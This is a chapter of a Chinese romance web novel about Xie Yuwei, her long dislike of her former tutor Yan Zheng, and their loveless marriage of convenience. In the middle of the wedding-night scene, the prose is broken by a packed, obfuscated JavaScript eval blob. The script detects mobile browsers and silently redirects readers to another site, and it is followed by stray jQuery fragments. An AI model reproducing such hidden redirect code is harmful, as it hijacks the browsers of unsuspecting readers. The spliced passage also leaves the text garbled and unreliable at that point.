自从有了初次见面那一遭,谢予薇就跟言铮唱起了反调,从小到大对言铮的反感,远胜过她讨厌的数学。
小时候还算和平,言铮素日里不苟言笑,谢予薇总将他当成长辈来看,秉持着对长辈的畏惧,见面就躲着言铮,每次去言家作客,她都要提前藏在母亲任婉的身后,露出半张粉白的小脸,时不时地瞥一眼那个不甚合群,游离于人群之外的大哥哥。
谢予薇那时候年纪小,听到长辈们夸奖言铮总觉得心里不服,可每当言铮一靠近,她便下意识竖起防备,怕被他端出兄长的样子教训。
杨泠见她这副模样没忍住笑出声,打趣言铮道:“小薇胆子这么小,是给你小时候吓怕了吧?”
言铮也只是笑笑,“哪有那么夸张,只是小薇性子内敛而已。”
性子内敛,谢予薇暗自腹诽,自己这性子可跟内敛沾不上什么边吧。
等到了自我意识高度萌发的青春期,性子内敛的谢予薇就尽数展露出了打小藏起的锋芒,蠢蠢欲动,那张精致明艳的脸,从未对着言铮好看过。
尤其是初中那阵子,在家里寻了十来个高材生都挽不回谢予薇岌岌可危的数学时,任婉将家教的主意打到了数学高考几乎满分言铮身上,得知此事的谢予薇厌恶得连夜抱起练习册补课刷题,愣是靠着一腔倔劲硬生生地将才及格的数学考到了八十分。
只可惜,最后还是被任婉揪着脖子放到书房,接受言铮为期一学期孜孜不倦的教导,谢予薇端正地坐在桌边,耐着性子听言铮讲题,写好他布置的那些亢长的作业,最后还被摁着头严格地整理错题集。
夏日的窗外蝉鸣聒噪,吵得人心烦,谢予薇盯着那张错题卷看了半晌,思路渐渐偏移,转头,不着痕迹地落在身边的男生身上。
言铮穿着白衬衫,袖口挽至手肘,腕骨线条分明,明亮的台灯给他硬挺的眉骨添了几分柔和,谢予薇恍惚地分了下神,心想这人长得是挺好看的,只是性格她实在不太喜欢。
“这题我记得你昨天错过,还是没弄懂吗?”言铮注意到她的分心,端出一副老师的架子,声音尽量放轻,温柔地问谢予薇。
这种掐得恰到好处的耐心,反倒让谢予薇更觉得烦躁。
“我懂了啊。”谢予薇指着草稿纸上的图案,“你昨天不是说高次不等式得这么画吗?”
“……”言铮无奈道:“昨天是这么写的,但是这题换了个问法,你怎么就不会举一反三了。”
谢予薇一听这语重心长的口气就觉得头大,知道自己不占理,闷声拿笔在草稿纸上乱画着,小手撑着腮,拒绝继续沟通,“那我再想想吧。”
“你一会儿下课了把这些错题整理下,找出他们之间的关联。”
谢予薇轻嗤一声,鼻尖微皱,不太服气地应下。
言铮抽过她写完的数学题,从她的笔袋里抽了支红笔出来,连着十题都画了个圈,看得谢予薇心惊,眉心跳动着,生怕下一秒言铮就要动怒。
估计没人能忍受这种挫败吧,言铮在教她这件事情上,算得上尽职尽责。
偏巧言铮情绪还是如此稳定,一副温文尔雅的态度,继续给她讲题,“无妨,都是些小错误。”
谢予薇真觉得言铮是个没有脾气的假人,哪有人面对这样教不会的学生,依旧可以这样没有任何私人情绪地在这儿传道授业。
末了,还要在任婉面前摆出和颜悦色的神情,夸自己很聪明,一点就通。
十道填空题全错的聪明。
所幸言铮也只辅导了谢予薇一年,一年之后,任婉看着谢予薇大有进步的成绩,对言铮感激不尽,也不好意思再麻烦言铮,更何况言铮也是因着和谢楷关系好才来教谢予薇,压根不在乎谢家给的补习费。
言铮一走,任婉就给谢予薇寻了个京大数学系的学生来辅导功课,谢予薇对此乐见其成,没了言铮,家里的空气都变得轻盈,她反而学得更加自在。
等到后来上了高中,因着谢楷和言铮的交情,高一那阵子,谢予薇在家里见到言铮的频率比她那成日里在外头忙工作的谢攸兴都多。
任婉那时候的身体还没查出什么异常,只是精神不比往常好了,总觉得疲倦,难得见家里多出来个人,就邀请言铮一道留下来吃饭。
“不麻烦了伯母。”言铮总是礼貌地说,“还是不多叨扰了。”
谢予薇坐在二楼的栏杆边晃着腿,听到这话,心道装什么装。
昨晚任婉和谢攸兴去外头赴宴,她还看见谢楷把言铮和沈淮序这几人喊到家里,几个人窝在地下室看球赛呢。
“你这孩子,也忒懂规矩了些。”任婉笑着摇头,也没再留人,“罢了,那你早些回去,晚些你妈妈该念叨了。”
规矩规矩,谢予薇从小听长辈们夸言铮,就是说他规矩沉稳。
这话听多了,就好像言铮一生下来就是个大人,跳过叛逆期,生下来就具备控制情绪的能力。
长辈们总说,言铮自小受到的教育便注定了他的性子谦和恭谨,待人接物都是如此,但在几乎所有人都夸赞言铮有礼貌时,只有谢予薇不这么认为。
她总觉得言铮这人的温和是层面具,装得谦和有礼,实则内里如何,压根没人知道。
所以撕下他的那层温和面具看看,他真实的面孔究竟长得如何,可回回想要激怒他时,总被他那声不疾不徐的“好好说话”轻描淡写地化解。
自己再怎么折腾,在言铮眼里不过都是小孩子的玩闹,这样的感觉跟一拳打在棉花上似的,弄得谢予薇气打不过一处来。
所以她努力地离远些,再离远些,大抵因为她对言铮的抗拒实在表现的过于明显,身旁的一众好友都知道,谢予薇与言铮合不来。
人前谢予薇遇见言铮,只是略点点头就走了,也没多说什么话,言铮身边的朋友觉得稀奇,问言铮,“要我说你和谢楷这关系,怎么跟人妹妹这么不熟。”
言铮听了也只是摇头,眉目温淡地笑了笑,低声感慨了一句:“小孩子长大了。”
长大了,所以也不必分给自己这个多余的人一点目光了。
-
谢予薇以为,自己会这么和言铮一直保持这么生疏的关系,直到他俩都各自入土。
没想到,当她和谢楷两人面临疾风骤雨,因着上一辈的恩怨成为舆论中心时,言铮会毫不犹豫地来自己舅舅家提亲。
那是一个冷清的春夜,气温尚未回笼,谢予薇没等来心上人回国的消息,只在风雨飘摇中,看见言铮向自己伸出了手。
她毫不犹豫地将手搭了上去,由此赌上了自己的一生。
这段婚姻能给她带来的好处不言而喻,有了言家的支持,拉谢楷一把,谢楷从谢攸兴手里夺回集团是板上钉钉的事。
可对于言铮与自己结婚的初衷,谢予薇至今都没能想明白,这段婚姻能给他带来些什么。
明明有那么多选择,言铮为什么要选择正处于风口浪尖上,和亲爹争得头破血流的自己。
皓月旖旎,窗外的薄雾掩映着屋头灯影,本该鸾凤和鸣的新婚夜,她身着刺绣繁复的红色旗袍,坐在壹号院里头,看着谢楷和许涣将喝得烂醉的言铮给送到婚房里头。
相识多年,她自然知道言铮没醉,他的酒量好,纵使醉了,多半也是装出来,只为了能从酒局上脱身。
等到四下多余的声音渐渐散去,只余留彼此交错的呼吸声时,谢予薇抬起头,一双水润的眼眸在光影下泛着微光,她盯着眼前脸上早已恢复清明的言铮,想要问个清楚,“你喜欢我吗?”
言铮愣了下,没从这突如其来的发问中回过神来。
谢予薇追问道:“如果不喜欢我的话,为什么要和我结婚?”
言铮当时,是怎么说的?
床头的灯光描摹着他俊朗的眉眼,划过眉骨,在眼下投出一点影子,他漆黑的双眸在灯火中忽隐忽现,谢予薇局促地坐在床头,听见他说:“年纪到了,家里想看见我成家。”
“你哥哥比你那两个同父异母的弟弟可以托付,是一个长期合作的对象。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059420|194987||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
言简意赅的两个理由,彻底点醒了本还对这桩婚姻本质一知半解的谢予薇。
也是,在他们这个圈子里,夫妻之间,只要能做到相敬如宾就好。
而相敬如宾,对她这个专业学表演的人来说,实属轻松。
所以既然言铮需要,那她就能演一出夫妻情深。
如羽般的睫毛轻轻眨动了下,谢予薇抬起头,重新端详眼前的男人。
过去这些年,谢予薇不是没听谢楷提起过言铮,谈起言铮进集团时的种种举措,他笑道长辈们总觉得言铮这人有礼清正,可没人知道他这人其实藏得深,面上端着温和贤良的做派,在集团里运筹帷幄时可丝毫不迂回。
光听谢楷在那里讲谢予薇还真没什么感觉,眼下听到这淡漠的话语,谢予薇只得在心底暗笑。
真不愧是言铮,连婚姻都要利用得干净,发挥价值最大化。
她的预感还是准的,世人都道言铮谦和端方,可皆不知那温和外表之下藏起的俨然是另一具皮囊。
谢予薇轻吐了一口气,彻底地放心了,她早就预料到了不是吗,无论言铮娶自己的目的是什么对她而言无关紧要,自己只需要与他步入婚姻,扮演好言夫人的角色就好。
没有感情就好,她生怕言铮对她别有企图,到时候她如何都还不清。
谢予薇说:“所以你的意思是,我不需要和你产生任何感情。”
言铮牵起唇角,那点笑意很快散在了迷离的光影里,他的声音清朗,带着点酒精作祟后,不属于他的浪荡,“你也可以对我产生感情。”
“不会。”谢予薇轻轻摇头,彻底冷静了下来,说:“我赌我永远不会爱上你,并且在五年内和你离婚。”
言铮眼中的笑意不达眼底,他看着身下冷冷清清执意要划开楚汉河界的谢予薇,那双杏眸明亮而圆润,可早在这风波周折中,褪尽了少女意气,平静得不见波澜。
他哑声问:“赌什么?”
谢予薇仰起头,面对比自己高上许多的男人,想要强撑出些气势,朱唇微启,和儿时一样,倔强地与他唱反调,“我要是爱上你,那我跟你姓。”
“小薇。”言铮显然没料到她会给出这个赌注,叹息一声,也不知是不是在失望,“21世纪了,早就不整冠夫姓那一套了。”
谢予薇气势汹汹地说,“那赌我的整个演艺生涯。”
“这个赌注很大。”
言铮垂眸盯着她明艳的整张脸,厚重的妆容衬得她的五官更为锐利,他温柔地笑了笑,俯首轻轻地替她捋开鬓角松散的碎发,音色听上去像是在点评一个玩笑,“不过你没必要拿自己热爱的事业做赌。”
说得仿佛她一定就会输似的。
“我可以赌。”谢予薇固执地强调,“我不会喜欢你。”
“好。”言铮脸上的还是那副温和的神情,连一丝一毫的恼意都没有,“那我拭目以待。”
所以当结婚后,沈舒媛和身边几个朋友回想起两人曾经的过节,好奇地问起谢予薇新婚生活时,谢予薇也只能照实说,放不放下过去的那些芥蒂是一回事,但能不能好好相处又是另一回事。
言铮这人,总给人一种不真实感,不像是个人,就像是被人放在高台上的木偶,行为处事多了点不染世俗的意味,可偏生他干的,又是最世俗铜臭的商业。
沈舒媛对此不予苟同,“哪有?我觉得吧,言铮虽然年纪大了点,但也没到你说的虚伪这种程度吧?”
谢予薇纠正道:“不是,我是觉得他虚浮。”
她也不知道自己看人准不准,言铮这人看着老成稳重,结婚后,无论是对家里佣人,外头长辈,还是对自己这个新婚妻子,都保持着基本的谦和礼貌,可越是这样,谢予薇越是不相信。
哪有人能如此面面俱到地兼顾好所有事,脸上的那副儒雅的面具就跟枷锁似的牢牢地禁锢在他身上,始终不曾摘掉,但那内里剥开是个什么样的人,根本没人知道。
连谢予薇这个枕边人至今都没能探明白。